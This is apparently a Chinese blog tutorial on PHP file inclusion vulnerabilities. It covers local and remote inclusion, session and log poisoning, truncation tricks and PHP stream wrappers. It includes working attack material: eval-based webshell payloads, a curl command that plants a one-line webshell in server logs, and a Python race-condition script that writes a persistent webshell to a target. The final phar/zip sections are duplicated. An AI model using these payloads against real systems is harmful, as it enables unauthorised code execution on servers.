文件包含漏洞学习

一、文件包含简介

开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

1、文件包含函数

PHP中文件包含函数有以下四种:

require()
require_once()
include()
include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地,php5仅存在本地包含。

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

2、漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

<?php
    $filename  = $_GET['filename'];
	include($filename);
?>

3、典型特征

变量的值为一个页面:
?page=a.php
?home=b.html
?file=content…

二、本地文件包含漏洞

1、无限制本地文件包含漏洞

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

2、session文件包含漏洞

利用条件:

session的存储位置可以获取。

2.1、通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

在这里插入图片描述

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

2.2、通过猜测默认的session存放位置进行尝试。

如linux下默认存储在/var/lib/php/session目录下:

在这里插入图片描述

session中的内容可以被控制,传入恶意代码。

<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

在这里插入图片描述

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

3、有限制本地文件包含漏洞绕过

目录遍历

使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。

例如 ?file=../../phpinfo/phpinfo.php
测试代码如下:
<?php
	error_reporting(0);
	$file = $_GET["file"];
	//前缀
	include "/var/www/html/".$file;

	highlight_file(__FILE__);
?>

编码绕过

url编码

二次编码

容器/服务器的编码方式

../
..%c0%af
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)

..\
..%c1%9c

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

测试代码:

<?php
$filename  = $_GET['filename'];
include($filename . ".html");
?>

测试结果:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00

路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。

测试代码:

<?php
$filename  = $_GET['filename'];
include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断

条件:windows OS,点号需要长于256

测试代码:

<?php
$filename  = $_GET['filename'];
include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.phpfilename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

4、包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件

  1. 对日志文件可读

  2. 知道日志文件存储目录

在这里插入图片描述

Apache运行后一般默认会生成两个日志文件

Windows下是access.log(访问日志)和error.log(错误日志)。

Linux下是access_logerror_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。

日志默认路径

(1) apache+Linux日志默认路径
 /etc/httpd/logs/access_log
或者
 /var/log/httpd/access_log
(2) apache+win2003日志默认路径
  D:\xampp\apache\logs\access.log
  D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里

web中间件默认配置

(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
 C:\Windows\System32\inetsrv\config\applicationHost.config

如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

curl 构造一句话写入服务日志文件

构造语句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

curl构造一句话时,需要注意两点:

1)请求的资源对象,需要被双引号包含,不然会报错;
2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义 [ ],不然curl使用时也会报错;

5、包含/pros/self/environ

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

6、包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

7、session.upload_progress文件包含

php.ini中设置相关属性

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session.upload_progress.enabled可以控制是否开启session.upload_progress功能

session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

session.upload_progress.prefix可以设置上传文件内容的前缀

session.upload_progress.name的值即为session中的键值

原理:

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

利用:

php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去

条件竞争

import requests
import io
import threading

url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
	filebytes = io.BytesIO(b'a' * 1024 * 50)
	while True:
		res = session.post(url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
			},
			cookies={
			'PHPSESSID': sessid
			},
			files={
			'file': ('Lxxx.jpg', filebytes)
			}
		)

def read(session):
	while True:
		res = session.post(url+"?a=/tmp/sess_"+sessid,
		data={
			"1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
		},
		cookies={
			"PHPSESSID":sessid
		}
		)
		res2 = session.get("http://192.168.2.128/1.php")
		if res2.status_code == 200:
			print("成功写入一句话!")
		else:
			print("Retry")

if __name__ == "__main__":
	evnet = threading.Event()
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write, args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read, args=(session,)).start()
	evnet.set()

执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

tail -f /tmp/sess_Lxxx

三、远程文件包含漏洞

PHP的配置文件allow_url_fopenallow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

1、无限制远程文件包含漏洞

测试代码:

<?php
$filename  = $_GET['filename'];
include($filename);
?>

通过远程文件包含漏洞,包含php.txt可以解析。

url?filename=http://192.168.91.133/FI/php.txt

2、有限制远程文件包含漏洞绕过

测试代码:

<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

问号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

#号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

四、PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

file:// -访问本地文件系统
http:// -访问HTTP(S)网址
ftp://  -访问FTP(s)URLs
php://  -访问各个输入/输出流
zlib:// -压缩流
data:// -数据
glob:// -查找匹配的文件路径模式
phar:// -PHP归档
ssh2:// -Secure Shell 2
rar://  -RAR
ogg://  -音频流
expect:// -处理交互式的流

1、php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

2、php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

2.1、本地磁盘文件进行读取

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法:
?filename=php://filter/resource=xxx.php  直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上
?filename=php://filter/convert.base64-encode/resource=xxx.php  将文件内容进行base64编码后显示在浏览器上,再自行解码
?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

在这里插入图片描述

2.2、编码解码绕过限制

使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。

$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

在这里插入图片描述

2.3、字符串编码绕过

可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?

实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

在这里插入图片描述

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

在这里插入图片描述

除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

在这里插入图片描述

3、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

在这里插入图片描述

3.1、php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

3.2、php://input(写入木马)

测试代码:

<?php
$filename  = $_GET['filename'];
include($filename);
?>

条件:php配置文件中需同时开启allow_url_fopenallow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

在这里插入图片描述

如果不开启allow_url_include会报错

3.3、php://input(命令执行)

测试代码:

<?php
$filename  = $_GET['filename'];
include($filename);
?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行

在这里插入图片描述

如果不开启allow_url_include会报错

4、file://伪协议 (读取文件内容)

通过file协议可以访问本地文件系统,读取到文件的内容

5、data://伪协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

在这里插入图片描述

data://(读取文件)

和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 “I love PHP" echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>

注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI)

6、phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 

注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

7、zip://伪协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  1. zip://中只能传入绝对路径。

  2. 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  3. 只需要是zip的压缩包即可,后缀名可以任意更改。

  4. 相同的类型的还有zlib://bzip2://

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] 
zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

har://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 

注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

7、zip://伪协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  1. zip://中只能传入绝对路径。

  2. 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  3. 只需要是zip的压缩包即可,后缀名可以任意更改。

  4. 相同的类型的还有zlib://bzip2://

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] 
zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

参考链接:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

posted @ 2022-07-06 18:24  爱吃_白菜  阅读(44)  评论(0编辑  收藏  举报